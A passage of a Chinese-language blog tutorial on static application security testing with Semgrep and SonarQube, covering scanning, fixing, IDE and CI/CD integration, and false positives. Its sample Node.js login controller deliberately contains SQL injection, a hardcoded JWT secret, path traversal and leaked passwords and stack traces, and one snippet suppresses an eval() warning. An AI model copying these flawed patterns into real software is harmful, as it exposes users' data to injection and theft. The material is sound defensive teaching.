semgrep --config custom-rules/ .

3.3 SonarQube vs. Semgrep:怎麼選?

比較維度 SonarQube Community Build Semgrep Community Edition
主要用途 程式碼品質 + 安全 專注安全掃描
部署方式 需要伺服器(Docker/實體機) 命令列工具,免部署
Web 介面 有(功能完整的儀表板) 有(Semgrep Cloud,可選用)
自訂規則 較複雜(Java 撰寫或 XML 設定) 簡單直覺(YAML,像寫程式碼)
掃描速度 中等(需建立索引) 快(不需編譯)
CI/CD 整合 需要額外設定 Scanner 原生支援,一行指令搞定
品質門檻 內建(Quality Gate) 需自行設定(exit code)
適合團隊 中大型、有 DevOps 資源 任何規模、快速導入
費用 Community Build 免費 Community Edition 免費

飛飛觀點:
我的建議是:先用 Semgrep 快速上手,再用 SonarQube 做長期管理。Semgrep 可以在五分鐘內跑完第一次掃描,讓團隊立刻看到效果;SonarQube 則適合建立長期的品質追蹤機制。兩者不衝突,很多團隊會同時使用——Semgrep 在 PR 階段即時回饋,SonarQube 在後台追蹤整體趨勢。


四、實戰演練:從零開始掃描你的 Node.js 專案

讓我們用一個台灣電商系統的情境,從頭到尾走一遍 SAST 的流程。

4.1 準備一個有漏洞的範例專案

假設你正在開發一個台灣電商平台的會員系統,以下是幾個有安全問題的檔案:

// src/controllers/userController.js — 有多個安全問題的範例
const db = require('../db');
const jwt = require('jsonwebtoken');

const JWT_SECRET = 'feifei-super-secret-key-2025';  // 🚨 硬編碼金鑰

// 會員登入
async function login(req, res) {
  const { email, password } = req.body;

  // 🚨 SQL Injection
  const query = <code>SELECT * FROM users WHERE email = '${email}' AND password = '${password}'</code>;
  const user = await db.query(query);

  if (user.length === 0) {
    return res.status(401).json({ error: '帳號或密碼錯誤' });
  }

  const token = jwt.sign({ userId: user[0].id, role: user[0].role }, JWT_SECRET);
  res.json({ token, user: user[0] });  // 🚨 回傳整個 user 物件(含密碼)
}

// 查詢會員資料
async function getUser(req, res) {
  const userId = req.params.id;  // 🚨 沒有驗證 userId 是否為數字

  try {
    const user = await db.query(<code class="kb-btn">SELECT * FROM users WHERE id = ${userId}</code>);
    res.json(user[0]);
  } catch (err) {
    res.status(500).json({ error: err.message, stack: err.stack });  // 🚨 洩露錯誤堆疊
  }
}

// 檔案下載
async function downloadInvoice(req, res) {
  const filename = req.query.file;
  const filepath = <code class="kb-btn">./invoices/${filename}</code>;  // 🚨 Path Traversal
  res.sendFile(filepath);
}

module.exports = { login, getUser, downloadInvoice };

4.2 用 Semgrep 掃描

# 第一步:安裝 Semgrep
pip install semgrep --break-system-packages

# 第二步:用 OWASP Top 10 規則掃描
semgrep --config p/owasp-top-ten --config p/nodejs src/

# 輸出結果範例(簡化版):
# ┌──────────────────────────────────────────────────────────┐
# │ Findings                                                  │
# ├──────────────────────────────────────────────────────────┤
# │ src/controllers/userController.js                         │
# │                                                          │
# │ ❌ javascript.lang.security.audit.sqli.node-sqli         │
# │    line 12: SQL injection risk from string concatenation  │
# │    Severity: ERROR                                        │
# │                                                          │
# │ ❌ javascript.lang.security.hardcoded-secret              │
# │    line 4: Hardcoded JWT secret detected                  │
# │    Severity: WARNING                                      │
# │                                                          │
# │ ❌ javascript.express.security.audit.path-traversal       │
# │    line 32: Path traversal vulnerability                  │
# │    Severity: ERROR                                        │
# │                                                          │
# │ ❌ javascript.lang.security.audit.error-disclosure        │
# │    line 27: Stack trace exposed to client                 │
# │    Severity: WARNING                                      │
# └──────────────────────────────────────────────────────────┘
# 4 findings in 1 file

4.3 用 SonarQube 掃描

# 第一步:啟動 SonarQube(如果還沒啟動)
docker run -d --name sonarqube -p 9000:9000 sonarqube:community

# 第二步:等待啟動完成後,在 Web 介面建立專案
# 開啟 http://localhost:9000
# 建立新專案 → 取得 Token

# 第三步:使用 sonar-scanner 掃描
npx sonarqube-scanner \
  -Dsonar.projectKey=taiwan-ecommerce \
  -Dsonar.sources=src \
  -Dsonar.host.url=http://localhost:9000 \
  -Dsonar.token=你的Token

掃描完成後,打開 SonarQube 的 Web 介面,你會看到一個清楚的儀表板,顯示:

  • Bugs:程式碼中的錯誤
  • Vulnerabilities:安全漏洞
  • Security Hotspots:需要人工確認的安全敏感程式碼
  • Code Smells:影響可維護性的程式碼問題
  • Coverage:測試覆蓋率

4.4 修復漏洞

根據掃描結果,讓我們修復上面的程式碼:

// src/controllers/userController.js — 修復後的安全版本
const db = require('../db');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const { param, body, query, validationResult } = require('express-validator');

// ✅ 從環境變數讀取金鑰
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
  throw new Error('JWT_SECRET 未設定或長度不足');
}

// ✅ 會員登入(修復版)
async function login(req, res) {
  const { email, password } = req.body;

  // ✅ 使用參數化查詢
  const user = await db.query(
    'SELECT id, email, password_hash, role FROM users WHERE email = $1',
    [email]
  );

  if (user.length === 0) {
    return res.status(401).json({ error: '帳號或密碼錯誤' });
  }

  // ✅ 使用 bcrypt 比對密碼雜湊
  const isValid = await bcrypt.compare(password, user[0].password_hash);
  if (!isValid) {
    return res.status(401).json({ error: '帳號或密碼錯誤' });
  }

  const token = jwt.sign(
    { userId: user[0].id, role: user[0].role },
    JWT_SECRET,
    { expiresIn: '1h' }  // ✅ 設定 Token 過期時間
  );

  // ✅ 只回傳必要欄位,不回傳密碼
  res.json({ token, user: { id: user[0].id, email: user[0].email } });
}

// ✅ 查詢會員資料(修復版)
const getUserValidation = [
  param('id').isInt({ min: 1 }).withMessage('無效的使用者 ID')
];

async function getUser(req, res) {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ error: '參數驗證失敗' });
  }

  const userId = parseInt(req.params.id, 10);

  try {
    // ✅ 參數化查詢 + 只選取必要欄位
    const user = await db.query(
      'SELECT id, email, name, created_at FROM users WHERE id = $1',
      [userId]
    );

    if (user.length === 0) {
      return res.status(404).json({ error: '查無此使用者' });
    }

    res.json(user[0]);
  } catch (err) {
    // ✅ 不洩露系統內部資訊
    console.error('Database error:', err);  // 記錄到伺服器日誌
    res.status(500).json({ error: '系統處理時發生錯誤,請稍後再試' });
  }
}

// ✅ 檔案下載(修復版)
const path = require('path');
const INVOICE_DIR = path.resolve('./invoices');

async function downloadInvoice(req, res) {
  const filename = req.query.file;

  // ✅ 白名單驗證檔名格式(只允許特定格式)
  if (!/^INV-\d{8}-\d{4}\.pdf$/.test(filename)) {
    return res.status(400).json({ error: '無效的發票檔名格式' });
  }

  // ✅ 防止 Path Traversal
  const filepath = path.join(INVOICE_DIR, filename);
  const resolvedPath = path.resolve(filepath);

  if (!resolvedPath.startsWith(INVOICE_DIR)) {
    return res.status(403).json({ error: '存取被拒絕' });
  }

  res.sendFile(resolvedPath);
}

module.exports = { login, getUser, getUserValidation, downloadInvoice };

修復完成後再跑一次掃描,確認所有問題都已解決。這就是 SAST 的工作流:掃描 → 修復 → 再掃描 → 確認乾淨


五、整合 IDE:在寫程式的當下就抓到漏洞

等到 CI/CD 才發現問題,雖然比上線後才發現好很多,但還是要回頭改。最理想的情況是——你在寫程式的當下,IDE 就直接告訴你這行有問題

就像蓋房子時,如果工人手邊有一台即時檢測儀,每放一塊磚就能知道角度對不對、強度夠不夠,那品質一定比事後全部檢查來得好。

5.1 VS Code + Semgrep 整合

# 方法一:從 VS Code 擴充功能市集安裝
# 搜尋 "Semgrep" → 安裝官方擴充功能

# 方法二:命令列安裝
code --install-extension semgrep.semgrep

安裝後,Semgrep 會在你儲存檔案時自動掃描,直接在程式碼中標示問題:

  • 🔴 紅色波浪線:嚴重安全漏洞(如 SQL Injection)
  • 🟡 黃色波浪線:安全警告(如硬編碼金鑰)
  • 💡 燈泡圖示:提供修復建議

你可以在 <code>.semgrepconfig.yml</code> 中設定預設規則:

# .semgrepconfig.yml — 專案根目錄
rules:
  - p/owasp-top-ten
  - p/nodejs
  - p/secrets

5.2 VS Code + SonarQube for IDE(原 SonarLint)

# 從 VS Code 擴充功能市集安裝
# 搜尋 "SonarQube for IDE" → 安裝官方擴充功能

SonarQube for IDE 可以獨立運行,也可以連接到你的 SonarQube Server(Connected Mode),確保 IDE 中的規則和 CI/CD 中的規則一致。

Connected Mode 設定(settings.json):

{
  "sonarlint.connectedMode.connections.sonarqube": [
    {
      "serverUrl": "http://localhost:9000",
      "token": "${env:SONAR_TOKEN}"
    }
  ],
  "sonarlint.connectedMode.project": {
    "connectionId": "localhost",
    "projectKey": "taiwan-ecommerce"
  }
}

5.3 JetBrains IDE(WebStorm/IntelliJ)整合

如果你的團隊使用 JetBrains 系列的 IDE:

  • SonarQube for IDE:直接從 Plugin Marketplace 搜尋安裝
  • Semgrep:同樣從 Plugin Marketplace 安裝

飛飛觀點:
IDE 整合是我認為 SAST 最被低估的功能。很多團隊導入 SAST 只做到 CI/CD 階段——問題發現了,但開發者要切換到 Pipeline 報告去看。IDE 即時回饋完全不同,它讓安全意識「長在手指上」——你打完一行有問題的程式碼,下一秒就看到紅色波浪線。久而久之,你根本不會再寫出那種程式碼了。


六、CI/CD 整合:讓安全掃描成為部署的門檻

IDE 掃描是「個人防線」,CI/CD 掃描是「團隊防線」。不管個人有沒有裝 IDE 外掛、有沒有在本地跑掃描,只要程式碼要進 main branch,就一定要通過安全檢查。

6.1 GitHub Actions + Semgrep

# .github/workflows/security-scan.yml
name: Security Scan

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  semgrep:
    name: SAST Scan with Semgrep
    runs-on: ubuntu-latest

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Run Semgrep
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/nodejs
            p/secrets
        env:
          SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}

6.2 GitHub Actions + SonarQube

# .github/workflows/sonarqube.yml
name: SonarQube Analysis

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  sonarqube:
    name: Code Quality & Security
    runs-on: ubuntu-latest

    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0  # SonarQube 需要完整的 Git 歷史

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Install dependencies & run tests
        run: |
          npm ci
          npm run test:coverage

      - name: SonarQube Scan
        uses: SonarSource/sonarqube-scan-action@v5
        env:
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
          SONAR_HOST_URL: ${{ secrets.SONAR_HOST_URL }}

      - name: Check Quality Gate
        uses: SonarSource/sonarqube-quality-gate-action@v1
        timeout-minutes: 5
        env:
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}

6.3 設定品質門檻(Quality Gate)

品質門檻是 SAST 最重要的設定之一——它決定了「什麼程度的問題可以放行,什麼程度的問題必須阻擋」。

# SonarQube 建議的品質門檻
# 在 SonarQube Web 介面 → Quality Gates 中設定

New Code 條件(只檢查新增的程式碼):
  - 安全漏洞(Vulnerabilities): 0(不允許任何新漏洞)
  - Security Hotspots Reviewed: ≥ 100%(所有安全熱點都要審查)
  - 程式碼覆蓋率(Coverage): ≥ 80%
  - 重複程式碼比例(Duplications): ≤ 3%
# Semgrep 的品質門檻設定(透過 exit code)
# 在 CI/CD 中,Semgrep 預設在發現 ERROR 級別問題時會回傳非零 exit code
# 這會自動讓 CI/CD Pipeline 失敗

# 如果只想在特定嚴重度時失敗:
semgrep --config p/owasp-top-ten --severity ERROR .
# 只有 ERROR 級別的發現會導致掃描失敗

# 搭配 --error 旗標精確控制:
semgrep --config p/owasp-top-ten --error .
# 有任何發現都會失敗

飛飛觀點:
品質門檻的設定是一門藝術。設得太嚴,開發者會覺得綁手綁腳,甚至想辦法繞過;設得太鬆,等於沒設。我的建議是:對新程式碼嚴格,對舊程式碼寬容。SonarQube 的「New Code」策略就是這個精神——不要求你一次修完所有歷史債務,但新寫的程式碼一定要乾淨。


七、處理誤報:SAST 最讓人頭痛的問題

SAST 最大的缺點就是誤報(False Positive)——工具說有漏洞,但其實沒有。這就像驗屋師每次都說「這面牆不夠結實」,但你明明知道那是承重牆,設計得很好。

如果誤報太多,開發者會逐漸不信任工具,最後乾脆無視所有警告——這比不用工具還危險。

處理誤報的策略

策略一:標記為「已審查,非漏洞」

在 SonarQube 中,你可以把 Security Hotspot 標記為「Safe」;在 Semgrep 中,可以用 <code>nosemgrep</code> 注解:

// 這個 eval 是安全的,因為輸入來自信任的設定檔
// nosemgrep: javascript.lang.security.audit.eval-detected
const config = eval(trustedConfigString);

策略二:調整規則的嚴重度或排除特定規則

# .semgrepconfig.yml — 排除特定規則或路徑
exclude:
  - "tests/**"          # 測試程式碼不掃描
  - "scripts/seed.js"   # 資料填充腳本排除

策略三:逐步啟用規則

不要一次開啟所有規則。先從最重要的開始(SQL Injection、XSS、硬編碼金鑰),等團隊適應後再逐步增加。

導入階段 建議啟用的規則 預期誤報率
第一週 硬編碼金鑰 / 密碼
第二週 SQL Injection、Command Injection 低~中
第一個月 XSS、Path Traversal
第二個月 完整 OWASP Top 10
穩定期 加入自訂規則 低(已調整過)

八、SAST 導入 Checklist

以下是一份可以直接帶回團隊使用的 Checklist:

## SAST 導入 Checklist

### 工具選擇
- [ ] 已評估團隊需求(專注安全 vs. 全面品質管理)
- [ ] 已選定至少一款 SAST 工具(Semgrep / SonarQube / 其他)
- [ ] 已確認工具支援團隊使用的程式語言

### IDE 整合
- [ ] 已在開發者 IDE 中安裝對應的擴充功能
- [ ] 已設定專案級別的掃描規則設定檔
- [ ] 已測試 IDE 即時掃描功能正常運作

### CI/CD 整合
- [ ] 已在 CI/CD Pipeline 中加入 SAST 掃描步驟
- [ ] 掃描在 PR 階段執行(不只是 merge 後)
- [ ] 掃描結果會直接顯示在 PR 的 Comment 中

### 品質門檻
- [ ] 已設定品質門檻(新程式碼不允許新漏洞)
- [ ] 嚴重漏洞會自動阻擋部署
- [ ] 團隊已同意門檻的標準

### 誤報管理
- [ ] 已建立誤報的審查與標記流程
- [ ] 已排除不需要掃描的目錄(如 node_modules、tests)
- [ ] 定期(每月)回顧並調整規則

### 團隊協作
- [ ] 團隊成員已了解 SAST 的用途與限制
- [ ] 已指定 Security Champion 負責維護掃描規則
- [ ] 掃描結果的修復已納入 Sprint 的工作項目

九、常見問題 FAQ

Q1:SAST 掃描很慢,會不會拖慢 CI/CD Pipeline?

不會太慢,但需要最佳化。 Semgrep 以速度著稱,掃描一個中型 Node.js 專案通常只需要 30 秒到 2 分鐘。SonarQube 因為需要建立索引,首次掃描可能需要 5-10 分鐘,但後續增量掃描會快很多。

最佳化建議:排除不需要掃描的目錄(<code>node_modules</code>、<code>dist</code>、<code>coverage</code>),在 PR 階段只掃描變更的檔案,完整掃描留在 nightly build。

Q2:我已經在做 Code Review 了,還需要 SAST 嗎?

絕對需要。 Code Review 和 SAST 是互補的,不是替代的。Code Review 擅長發現商業邏輯問題和架構設計缺陷,SAST 擅長發現模式化的安全漏洞。人的眼睛會累、會受趕 deadline 的壓力影響,但工具不會。

反過來說,SAST 也不能取代 Code Review——它不懂你的業務邏輯,不知道「這個使用者不應該能看到那個資料」這種語境相關的問題。

Q3:SonarQube Community Build 和 Server 版本差在哪裡?

Community Build 是免費開源版本,適合中小團隊入門使用。它提供基礎的 SAST 和程式碼品質檢測功能。Server 的付費版本(Developer、Enterprise)多了進階 SAST(如 taint analysis 污點追蹤)、SCA 依賴掃描、更多語言支援、分支分析等企業功能。

對於剛開始導入 SAST 的團隊,Community Build 已經綽綽有餘了。

Q4:Vibe Coding 用 AI 生成的程式碼,SAST 掃得出來嗎?

掃得出來,而且特別需要掃。 AI 生成的程式碼經常包含安全問題——字串拼接 SQL、缺少輸入驗證、硬編碼測試用的金鑰等。SAST 不管程式碼是人寫的還是 AI 寫的,一律用相同的規則掃描。

建議:把 SAST 當成 AI 生成程式碼的「安全審查員」。AI 幫你寫完程式碼後,先用 Semgrep 掃一遍再 commit——這能幫你抓到大部分 AI 常犯的安全錯誤。


十、結語:讓工具成為你的安全夥伴

回到蓋房子的比喻。

沒有人會說:「我蓋了二十年的房子,用眼睛看就夠了,不需要什麼驗屋師。」因為不管你多有經驗,總有看漏的地方。而且,當你同時管理好幾棟房子的施工進度時,你更需要自動化的檢查工具幫你盯住每一個環節。

SAST 也是一樣。它不是要取代你的專業判斷,而是幫你處理那些重複性高、模式化、容易被疏忽的安全檢查。讓工具做工具擅長的事,你才能把寶貴的注意力放在更重要的地方——像是商業邏輯的安全設計、架構層級的防禦策略、以及培養團隊的安全文化。

安全工具不是給開發者加壓力的枷鎖,而是讓你寫程式時更安心的夥伴。
當 IDE 裡的紅色波浪線從「煩人的干擾」變成「可靠的提醒」,你就知道——SAST 已經融入你的開發日常了。

下一篇,我們將進入安全驗證的第二個重要主題——DAST 動態測試實戰:用 OWASP ZAP 掃描網站。學完 SAST 看程式碼內部,接下來要學怎麼從外部攻擊自己的系統,找出只有在運行時才會出現的漏洞。


延伸閱讀